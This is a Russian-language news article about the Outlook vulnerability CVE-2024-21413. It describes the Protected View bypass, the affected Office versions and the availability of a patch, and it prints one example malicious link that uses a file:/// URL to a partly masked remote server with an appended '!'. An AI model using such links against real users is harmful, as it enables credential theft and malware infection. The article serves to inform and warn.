Критическая уязвимость в офисном пакете Microsoft позволяет неаутентифицированным злоумышленникам выполнять вредоносный код. Новая "дыра" в популярном программном обеспечении

В офисном пакете компании Microsoft обнаружена новая критическая уязвимость, которой могут воспользоваться не аутентифицированные злоумышленники и выполнить вредоносный код. Уязвимость уже зарегистрирована под CVE-2024-21413 и появляется при получении электронного письма с вредоносной ссылкой на не обновленные версии Outlook. Уже известно, что хакерам получается обходить встроенную защиту просмотра Protected View, которая в принципе должна блокировать весь вредоносный контент, получаемый по почте, но в данном случае файлы доступны не только для просмотра, а даже для редактирования. Уже известно, что для исполнения уязвимости CVE-2024-21413 не требуется взаимодействие с пользователем.

При правильной атаке со стороны хакеров им будут доступны все необходимые привилегии для работы с файлами. Уже известно, что уязвимость затрагивает сразу несколько офисных пакетов компании Microsoft, а это LTSC 2021, Microsoft 365, Outlook 2016, Office 2019.

Установлено, что хакерам удалось научиться обходить встроенные механизмы защиты в электронных письмах, используя протоколы file:// для обращения к удаленным серверам злоумышленников. Добавление всего лишь 1 символа позволило обойти безопасность офисного пакета. Сразу после ссылки на файл злоумышленники вписывали «!» знак, который не вызывал подозрение к безопасности и позволял обращаться к удалённым серверам для запуска файла.

К примеру, ссылка на файл может содержать такой текст:

<a href="file:///\\*.*.*.111\office\*st.pdf!something">важные документы</a>

Воспользовавшись уязвимостью CVE-2024-21413, злоумышленники могли получить доступ к персональным данным пользователей, учетных данных программного обеспечения и заражению компьютеров вредоносными программами.

В данный момент уже есть «таблетка» от уязвимости CVE-2024-21413, которая доступна на официальном сайте компании.